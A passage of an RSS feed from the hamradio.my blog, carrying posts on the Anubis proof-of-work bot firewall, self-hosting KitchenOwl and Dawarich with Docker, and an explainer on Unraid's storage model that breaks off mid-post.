<p>The post <a href="https://hamradio.my/2025/07/how-to-install-freetakserver-using-docker/">How to Install FreeTAKServer Using Docker</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/how-to-install-freetakserver-using-docker/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How Anubis Works: Fighting Bots with Proof-of-Work</title>
		<link>https://hamradio.my/2025/07/how-anubis-works-fighting-bots-with-proof-of-work/</link>
					<comments>https://hamradio.my/2025/07/how-anubis-works-fighting-bots-with-proof-of-work/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Tue, 08 Jul 2025 07:26:23 +0000</pubDate>
				<category><![CDATA[artificial intelligence]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[free open source software]]></category>
		<category><![CDATA[web application firewall]]></category>
		<category><![CDATA[airesistance]]></category>
		<category><![CDATA[antibot]]></category>
		<category><![CDATA[antibotsolution]]></category>
		<category><![CDATA[anubis]]></category>
		<category><![CDATA[botprotection]]></category>
		<category><![CDATA[cloudflarealternative]]></category>
		<category><![CDATA[containers]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[ddosprotection]]></category>
		<category><![CDATA[devops]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[edgeprotection]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[jschallenge]]></category>
		<category><![CDATA[linuxsecurity]]></category>
		<category><![CDATA[networksecurity]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[opensourcefirewall]]></category>
		<category><![CDATA[proofofwork]]></category>
		<category><![CDATA[reverseproxy]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[techaro]]></category>
		<category><![CDATA[webfirewall]]></category>
		<category><![CDATA[websecurity]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8299</guid>

					<description><![CDATA[<p>The internet today is crawling with bots—some helpful, most not. Whether it’s AI scrapers harvesting public data or malicious bots launching DDoS attacks, websites are under constant pressure to defend their content. Enter Anubis: a clever, open-source web firewall that uses Proof-of-Work (PoW) to filter out bots while letting real users through with minimal friction. [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/how-anubis-works-fighting-bots-with-proof-of-work/">How Anubis Works: Fighting Bots with Proof-of-Work</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"></h2>



<p class="wp-block-paragraph">The internet today is crawling with bots—some helpful, most not. Whether it’s AI scrapers harvesting public data or malicious bots launching DDoS attacks, websites are under constant pressure to defend their content. Enter <strong>Anubis</strong>: a clever, open-source web firewall that uses <strong>Proof-of-Work (PoW)</strong> to filter out bots while letting real users through with minimal friction.</p>



<p class="wp-block-paragraph">Let’s unpack how it works—and how to deploy it with Docker and Nginx.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">What Is Anubis?</h3>



<p class="wp-block-paragraph">At its core, <strong>Anubis is a PoW gateway</strong>. It sits in front of your website and challenges each visitor with a lightweight computational puzzle before letting them through.</p>



<p class="wp-block-paragraph">The concept is simple but effective: bots that don’t execute JavaScript (like most scrapers or AI crawlers) can’t pass the challenge. Even those that do will find it expensive to scale.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">How It Works (Step by Step)</h3>



<p class="wp-block-paragraph">Here’s what happens when someone visits a site protected by Anubis:</p>



<ol class="wp-block-list">
<li><strong>User requests a page</strong>.</li>



<li><strong>Anubis intercepts the request</strong> as a reverse proxy.</li>



<li><strong>It serves a small HTML page with embedded JavaScript</strong> containing a Proof-of-Work challenge.</li>



<li><strong>Browser solves the challenge in a second or two</strong>, generating a token.</li>



<li><strong>The browser resubmits the request with the token</strong>, and Anubis lets them through.</li>
</ol>



<p class="wp-block-paragraph">This slows down bots significantly while being nearly invisible to human users.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Why It Works</h3>



<p class="wp-block-paragraph">Bots and crawlers typically skip JavaScript. That means:</p>



<ul class="wp-block-list">
<li>They can’t pass the PoW challenge.</li>



<li>Even if they try, solving the challenge repeatedly becomes <strong>computationally expensive</strong>.</li>
</ul>



<p class="wp-block-paragraph">For humans: it’s just a couple of seconds. For bots: it’s a serious headache.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">Real-World Adoption</h3>



<p class="wp-block-paragraph">Anubis is already being used by high-traffic, open-source projects like:</p>



<ul class="wp-block-list">
<li><a>Arch Wiki</a></li>



<li><a>GNOME</a></li>



<li><a>WineHQ</a></li>



<li><a>FFmpeg</a></li>



<li><a>UNESCO</a></li>
</ul>



<p class="wp-block-paragraph">These communities needed something robust, lightweight, and self-hosted. Anubis delivered.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Quick Start with Docker</h2>



<p class="wp-block-paragraph">Anubis is available as a Docker image at:</p>



<pre class="wp-block-code"><code>ghcr.io/techarohq/anubis
</code></pre>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f516.png" alt="🔖" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Available Tags</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Tag</th><th>Description</th></tr></thead><tbody><tr><td><code>latest</code></td><td>The latest stable release (recommended for most users)</td></tr><tr><td><code>vX.Y.Z</code></td><td>Specific version (e.g., <code>v1.4.2</code>)</td></tr><tr><td><code>main</code></td><td>Edge build from the <code>main</code> branch — use only if you need it</td></tr></tbody></table></figure>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2699.png" alt="⚙" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Docker Compose Example</h3>



<p class="wp-block-paragraph">Here’s a quick way to run Anubis using Docker Compose:</p>



<pre class="wp-block-code"><code>services:
  anubis:
    image: ghcr.io/techarohq/anubis:latest
    container_name: anubis
    restart: unless-stopped
    ports:
      - "8080:8080" # Anubis listens on port 8080 by default
    volumes:
      - ./config:/etc/anubis
    environment:
      - ANUBIS_CONFIG=/etc/anubis/anubis.toml
    user: "1000:1000"
</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f510.png" alt="🔐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Important</strong>: Make sure the mounted <code>./config</code> directory is <strong>owned by UID/GID 1000</strong>, or is writable by that user.</p>
</blockquote>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9e0.png" alt="🧠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> System Requirements</h3>



<p class="wp-block-paragraph">Anubis is very efficient:</p>



<ul class="wp-block-list">
<li>~128MiB RAM is enough for many use cases.</li>



<li>Ideal for HTTP traffic.</li>



<li>May not be suited for long-lived connections like <strong>WebSockets</strong> (TBD in real-world use).</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Nginx Reverse Proxy Config</h2>



<p class="wp-block-paragraph">Once Anubis is running, you’ll want to route traffic through it. Here’s a basic Nginx config to pass requests through Anubis and then upstream to your real site:</p>



<pre class="wp-block-code"><code>server {
    listen 80;
    server_name yoursite.com;

    location / {
        proxy_pass http://localhost:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
</code></pre>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">You can also put Anubis in front of another reverse proxy (like Nginx ➜ Anubis ➜ App), depending on your network layout.</p>
</blockquote>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f9f0.png" alt="🧰" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Choose Anubis?</h2>



<ul class="wp-block-list">
<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Open-source and fully self-hostable</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> No CAPTCHAs, no third-party cloud services</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Blocks scrapers and AI bots reliably</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Works great with Docker, Nginx, and minimal hardware</li>



<li><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Community-tested and battle-hardened</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">In an age of aggressive AI scraping and relentless bots, <strong>Anubis offers a refreshingly simple and effective shield</strong>. By making abuse computationally expensive and annoying for bots—but nearly invisible to humans—Anubis flips the script and puts the burden back where it belongs.</p>



<p class="wp-block-paragraph">You can try a live demo at <a href="https://anubis.techaro.lol/">anubis.techaro.lol</a> or start deploying right away using <a href="https://github.com/TecharoHQ/anubis">the official GitHub repo</a>.</p>
<p>The post <a href="https://hamradio.my/2025/07/how-anubis-works-fighting-bots-with-proof-of-work/">How Anubis Works: Fighting Bots with Proof-of-Work</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/how-anubis-works-fighting-bots-with-proof-of-work/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>KitchenOwl: Your Self-Hosted Grocery List and Recipe Manager</title>
		<link>https://hamradio.my/2025/07/kitchenowl-your-self-hosted-grocery-list-and-recipe-manager/</link>
					<comments>https://hamradio.my/2025/07/kitchenowl-your-self-hosted-grocery-list-and-recipe-manager/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Mon, 07 Jul 2025 17:52:04 +0000</pubDate>
				<category><![CDATA[containerization]]></category>
		<category><![CDATA[docker]]></category>
		<category><![CDATA[self hosted]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[expense tracker]]></category>
		<category><![CDATA[grocery list]]></category>
		<category><![CDATA[home management]]></category>
		<category><![CDATA[kitchenowl]]></category>
		<category><![CDATA[meal planner]]></category>
		<category><![CDATA[open source]]></category>
		<category><![CDATA[privacy focused]]></category>
		<category><![CDATA[recipe manager]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7594</guid>

					<description><![CDATA[<p>Managing your kitchen just got a lot easier! KitchenOwl is a modern, open-source, self-hosted solution for handling grocery lists, recipes, meal planning, and even tracking household expenses — all from one sleek and user-friendly interface. Whether you&#8217;re managing meals for yourself or your entire family, KitchenOwl gives you full control with privacy and collaboration at [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/kitchenowl-your-self-hosted-grocery-list-and-recipe-manager/">KitchenOwl: Your Self-Hosted Grocery List and Recipe Manager</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"></h2>



<p class="wp-block-paragraph">Managing your kitchen just got a lot easier! <strong>KitchenOwl</strong> is a modern, open-source, self-hosted solution for handling grocery lists, recipes, meal planning, and even tracking household expenses — all from one sleek and user-friendly interface. Whether you&#8217;re managing meals for yourself or your entire family, KitchenOwl gives you full control with privacy and collaboration at its core.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" alt="🌟" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Key Features</h2>



<ul class="wp-block-list">
<li><strong>Grocery List Manager</strong><br>Categorized grocery lists with icons and quantities help you shop faster and smarter.</li>



<li><strong>Recipe Organizer</strong><br>Save, edit, and categorize your favorite recipes. You can even add ingredients from a recipe directly into your grocery list.</li>



<li><strong>Meal Planning</strong><br>Plan meals for the week with ease and link recipes to your calendar for a smoother kitchen workflow.</li>



<li><strong>Expense Tracker</strong><br>Track how much you spend on groceries and view expenses per shopping trip.</li>



<li><strong>Multi-User Support</strong><br>Perfect for households — everyone can share access to lists, plans, and recipes in real time.</li>



<li><strong>Cross-Platform Access</strong><br>Use it on any web browser or mobile device. KitchenOwl supports Android, iOS (via TestFlight), and has a web interface for desktops.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> How to Self-Host KitchenOwl Using Docker</h2>



<p class="wp-block-paragraph">Hosting KitchenOwl on your own server or VPS gives you full control over your data. Here’s how to do it in just a few steps:</p>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f527.png" alt="🔧" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Prerequisites</h3>



<ul class="wp-block-list">
<li>A Linux server (can be local or cloud-hosted)</li>



<li>Docker &amp; Docker Compose installed</li>



<li>Basic terminal knowledge</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4c2.png" alt="📂" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 1: Create Docker Compose File</h3>



<p class="wp-block-paragraph">Create a new file called <code>docker-compose.yml</code>:</p>



<pre class="wp-block-code"><code>version: "3"
services:
  front:
    image: tombursch/kitchenowl-web:latest
    restart: unless-stopped
    ports:
      - "80:80"
    depends_on:
      - back
  back:
    image: tombursch/kitchenowl-backend:latest
    restart: unless-stopped
    environment:
      - JWT_SECRET_KEY=PLEASE_CHANGE_ME
    volumes:
      - kitchenowl_data:/data

volumes:
  kitchenowl_data:
</code></pre>



<p class="wp-block-paragraph"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f449.png" alt="👉" class="wp-smiley" style="height: 1em; max-height: 1em;" /> <strong>Important</strong>: Replace <code>PLEASE_CHANGE_ME</code> with a secure, random string to act as your JWT secret key.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 2: Start the Service</h3>



<p class="wp-block-paragraph">Run the following command in your terminal where the file is located:</p>



<pre class="wp-block-code"><code>docker-compose up -d
</code></pre>



<p class="wp-block-paragraph">This will download the necessary images and start KitchenOwl as a background service.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f310.png" alt="🌐" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Step 3: Open in Browser</h3>



<p class="wp-block-paragraph">After setup is complete, visit:</p>



<pre class="wp-block-code"><code>http:&#47;&#47;localhost
</code></pre>



<p class="wp-block-paragraph">If you&#8217;re using a remote server, replace <code>localhost</code> with your server&#8217;s IP address or domain name.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4f1.png" alt="📱" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Access Anywhere</h2>



<p class="wp-block-paragraph">KitchenOwl is cross-platform:</p>



<ul class="wp-block-list">
<li><strong>Web</strong>: Use it in any modern browser</li>



<li><strong>Android</strong>: Available via Google Play and F-Droid</li>



<li><strong>iOS</strong>: Access through Apple TestFlight</li>



<li><strong>Desktop</strong>: Use the browser or wrap in Electron for a native feel</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f512.png" alt="🔒" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Self-Host?</h2>



<p class="wp-block-paragraph">Self-hosting KitchenOwl ensures that your personal data stays private, free from third-party tracking or restrictions. With multi-user support, it&#8217;s perfect for families or shared homes.</p>



<ul class="wp-block-list">
<li>Own your data</li>



<li>Customize it to your needs</li>



<li>No subscription fees</li>



<li>Access anytime, anywhere</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2705.png" alt="✅" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Final Thoughts</h2>



<p class="wp-block-paragraph">KitchenOwl is more than just a grocery app — it&#8217;s a full-featured kitchen assistant designed with privacy, usability, and flexibility in mind. Whether you&#8217;re a techie who loves Docker or someone just looking to simplify kitchen life, KitchenOwl is a brilliant tool to have.</p>
<p>The post <a href="https://hamradio.my/2025/07/kitchenowl-your-self-hosted-grocery-list-and-recipe-manager/">KitchenOwl: Your Self-Hosted Grocery List and Recipe Manager</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/kitchenowl-your-self-hosted-grocery-list-and-recipe-manager/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Dawarich: Take Control of Your Location History</title>
		<link>https://hamradio.my/2025/07/dawarich-take-control-of-your-location-history/</link>
					<comments>https://hamradio.my/2025/07/dawarich-take-control-of-your-location-history/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sun, 06 Jul 2025 17:34:51 +0000</pubDate>
				<category><![CDATA[docker]]></category>
		<category><![CDATA[self hosted]]></category>
		<category><![CDATA[travel]]></category>
		<category><![CDATA[data_ownership]]></category>
		<category><![CDATA[data_privacy]]></category>
		<category><![CDATA[dawarich]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[location_history]]></category>
		<category><![CDATA[map_visualization]]></category>
		<category><![CDATA[open_source]]></category>
		<category><![CDATA[personal_data_management]]></category>
		<category><![CDATA[self_hosted]]></category>
		<category><![CDATA[travel_logs]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=7591</guid>

					<description><![CDATA[<p>In an era where data privacy is paramount, Dawarich emerges as a powerful, self-hosted alternative to Google Location History. Designed for individuals who value control over their personal data, Dawarich allows you to visualize, analyze, and manage your location history without relying on third-party services. 🌟 Key Features 🛠️ Self-Hosting Dawarich: A Step-by-Step Guide Setting [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/dawarich-take-control-of-your-location-history/">Dawarich: Take Control of Your Location History</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"></h2>



<p class="wp-block-paragraph">In an era where data privacy is paramount, <strong>Dawarich</strong> emerges as a powerful, self-hosted alternative to Google Location History. Designed for individuals who value control over their personal data, Dawarich allows you to visualize, analyze, and manage your location history without relying on third-party services.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f31f.png" alt="🌟" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Key Features</h2>



<ul class="wp-block-list">
<li><strong>Interactive Map Visualization</strong>: View your location data on an interactive map with customizable layers, including heatmaps, points, and travel lines.</li>



<li><strong>Comprehensive Statistics</strong>: Gain insights into your travel history, such as the number of countries and cities visited, total distance traveled, and time spent in various locations.</li>



<li><strong>Trip Management</strong>: Create and manage trips to see routes, distances, and durations, and add notes or photos to enrich your travel logs.</li>



<li><strong>Data Import &amp; Export</strong>: Easily import data from sources like Google Maps Timeline, OwnTracks, Strava, and GPX/GeoJSON files, and export your data in GeoJSON or GPX formats.</li>



<li><strong>Privacy-Focused</strong>: By self-hosting Dawarich, you ensure that your location data remains private and under your control.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f6e0.png" alt="🛠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Self-Hosting Dawarich: A Step-by-Step Guide</h2>



<p class="wp-block-paragraph">Setting up Dawarich on your own server is straightforward. Here&#8217;s how you can do it using Docker:</p>



<h3 class="wp-block-heading"><strong>Prerequisites</strong></h3>



<ul class="wp-block-list">
<li>A server or local machine with Docker and Docker Compose installed.</li>



<li>Basic knowledge of command-line operations.</li>
</ul>



<h3 class="wp-block-heading"><strong>Installation Steps</strong></h3>



<p class="wp-block-paragraph"><strong>1. Clone the Dawarich Repository</strong></p>



<p class="wp-block-paragraph">Open your terminal and execute:</p>



<pre class="wp-block-code"><code>git clone https://github.com/Freika/dawarich.git
cd dawarich
</code></pre>



<p class="wp-block-paragraph"><strong>2. Start the Application Using Docker Compose</strong></p>



<p class="wp-block-paragraph">Run the following command to start Dawarich:</p>



<pre class="wp-block-code"><code>docker compose up -d
</code></pre>



<p class="wp-block-paragraph">This command will build and start the necessary Docker containers.</p>



<p class="wp-block-paragraph"><strong>3. Access Dawarich</strong></p>



<p class="wp-block-paragraph">Once the containers are running, open your web browser and navigate to:</p>



<pre class="wp-block-code"><code>http:&#47;&#47;localhost:3000
</code></pre>



<p class="wp-block-paragraph">You&#8217;ll be greeted with the Dawarich interface, ready for configuration and use.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f512.png" alt="🔒" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Why Choose Dawarich?</h2>



<ul class="wp-block-list">
<li><strong>Data Ownership</strong>: Keep your location data private by hosting it on your own infrastructure.</li>



<li><strong>Customization</strong>: Tailor the application to fit your specific needs and preferences.</li>



<li><strong>Integration</strong>: Combine Dawarich with other self-hosted tools for a comprehensive personal data management system.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f680.png" alt="🚀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Get Started Today</h2>



<p class="wp-block-paragraph">Empower yourself with complete control over your location history. Set up Dawarich and take the first step towards a more private and personalized data experience.</p>
<p>The post <a href="https://hamradio.my/2025/07/dawarich-take-control-of-your-location-history/">Dawarich: Take Control of Your Location History</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://hamradio.my/2025/07/dawarich-take-control-of-your-location-history/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How Unraid Works: The Flexible OS for NAS, VMs, and Docker at Home</title>
		<link>https://hamradio.my/2025/07/how-unraid-works-the-flexible-os-for-nas-vms-and-docker-at-home/</link>
					<comments>https://hamradio.my/2025/07/how-unraid-works-the-flexible-os-for-nas-vms-and-docker-at-home/#respond</comments>
		
		<dc:creator><![CDATA[9M2PJU]]></dc:creator>
		<pubDate>Sat, 05 Jul 2025 20:37:12 +0000</pubDate>
				<category><![CDATA[docker]]></category>
		<category><![CDATA[home networking]]></category>
		<category><![CDATA[NAS]]></category>
		<category><![CDATA[operating system]]></category>
		<category><![CDATA[virtual machine]]></category>
		<category><![CDATA[btrfs]]></category>
		<category><![CDATA[cachepool]]></category>
		<category><![CDATA[datarecovery]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[dockergui]]></category>
		<category><![CDATA[gpu_passthrough]]></category>
		<category><![CDATA[homeautomation]]></category>
		<category><![CDATA[homelab]]></category>
		<category><![CDATA[homeserver]]></category>
		<category><![CDATA[iommu]]></category>
		<category><![CDATA[kvm]]></category>
		<category><![CDATA[kvmvirtualization]]></category>
		<category><![CDATA[linuxos]]></category>
		<category><![CDATA[mediaarchiving]]></category>
		<category><![CDATA[nasos]]></category>
		<category><![CDATA[openplatform]]></category>
		<category><![CDATA[openstorage]]></category>
		<category><![CDATA[paritydisk]]></category>
		<category><![CDATA[personalcloud]]></category>
		<category><![CDATA[plexserver]]></category>
		<category><![CDATA[raidalternative]]></category>
		<category><![CDATA[selfhosted]]></category>
		<category><![CDATA[selfhostersoftware]]></category>
		<category><![CDATA[storagearray]]></category>
		<category><![CDATA[unraid]]></category>
		<category><![CDATA[unraidvm]]></category>
		<category><![CDATA[virtualization]]></category>
		<category><![CDATA[vmhosting]]></category>
		<category><![CDATA[xfs]]></category>
		<guid isPermaLink="false">https://hamradio.my/?p=8278</guid>

					<description><![CDATA[<p>Unraid is a powerful, Linux-based operating system that lets you build your own custom Network Attached Storage (NAS), Virtual Machine Host, and Docker Application Server—all in one box. Unlike traditional RAID or hypervisor setups, Unraid focuses on simplicity, flexibility, and modularity, making it a favorite among home lab enthusiasts, media hoarders, self-hosters, and even small [&#8230;]</p>
<p>The post <a href="https://hamradio.my/2025/07/how-unraid-works-the-flexible-os-for-nas-vms-and-docker-at-home/">How Unraid Works: The Flexible OS for NAS, VMs, and Docker at Home</a> appeared on <a href="https://hamradio.my">Hamradio.my - Amateur Radio, Tech Insights and Product Reviews</a> by <a href="https://hamradio.my/author/9m2pju/">9M2PJU</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"></h2>



<p class="wp-block-paragraph"><a href="https://unraid.net/"><strong>Unraid</strong> </a>is a powerful, Linux-based operating system that lets you build your own custom <strong>Network Attached Storage (NAS)</strong>, <strong>Virtual Machine Host</strong>, and <strong>Docker Application Server</strong>—all in one box.</p>



<p class="wp-block-paragraph">Unlike traditional RAID or hypervisor setups, Unraid focuses on <strong>simplicity, flexibility, and modularity</strong>, making it a favorite among home lab enthusiasts, media hoarders, self-hosters, and even small businesses.</p>



<p class="wp-block-paragraph">So how does Unraid work under the hood?</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">1. Unraid Is Not “RAID”—It’s Better for Mixed Drives</h3>



<p class="wp-block-paragraph">Despite its name, <strong>Unraid doesn’t use traditional RAID</strong> (like RAID 5 or 6). Instead, it uses a <strong>unique hybrid model</strong> based on:</p>



<ul class="wp-block-list">
<li><strong>Individual disk volumes</strong> (each formatted with XFS or Btrfs)</li>



<li><strong>One or two parity disks</strong> for recovery</li>



<li><strong>No striping or data distribution</strong></li>
</ul>



<p class="wp-block-paragraph">This means:</p>



<ul class="wp-block-list">
<li>You can mix and match <strong>any size</strong> drives.</li>



<li>You can <strong>pull a disk</strong> and access its contents directly.</li>



<li>Only the <strong>parity disk(s)</strong> must be equal to or larger than the largest data disk.</li>



<li>Drives spin up only when accessed—saving energy.</li>
</ul>



<h4 class="wp-block-heading">Example:</h4>



<p class="wp-block-paragraph">If you have 4 drives:</p>



<ul class="wp-block-list">
<li>3× data disks (e.g., 4TB, 6TB, 10TB)</li>



<li>1× parity disk (10TB)</li>
</ul>



<p class="wp-block-paragraph">Your array has 20TB usable storage with fault tolerance for <strong>1 disk failure</strong>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">2. <strong>The Array and Parity System</strong></h3>



<p class="wp-block-paragraph">Unraid manages storage using an <strong>Array</strong>:</p>



<ul class="wp-block-list">
<li>Each disk is formatted independently (no block-level striping).</li>



<li>The <strong>parity disk</strong> stores checksums to allow for single-disk recovery.</li>



<li>You can add or remove disks <strong>without reformatting the entire array</strong>.</li>
</ul>



<p class="wp-block-paragraph">There’s also a <strong>cache pool</strong> (usually SSDs) to:</p>



<ul class="wp-block-list">
<li>Speed up writes (files are written to cache first, then moved to the array later)</li>



<li>Run virtual machines or Docker containers with high IOPS</li>



<li>Minimize spin-up delays on HDDs</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h3 class="wp-block-heading">3. <strong>User Shares: Logical Storage Abstraction</strong></h3>



<p class="wp-block-paragraph">Unraid lets you create <strong>User Shares</strong>, which are folders that span across multiple physical disks.</p>



<p class="wp-block-paragraph">For example:</p>



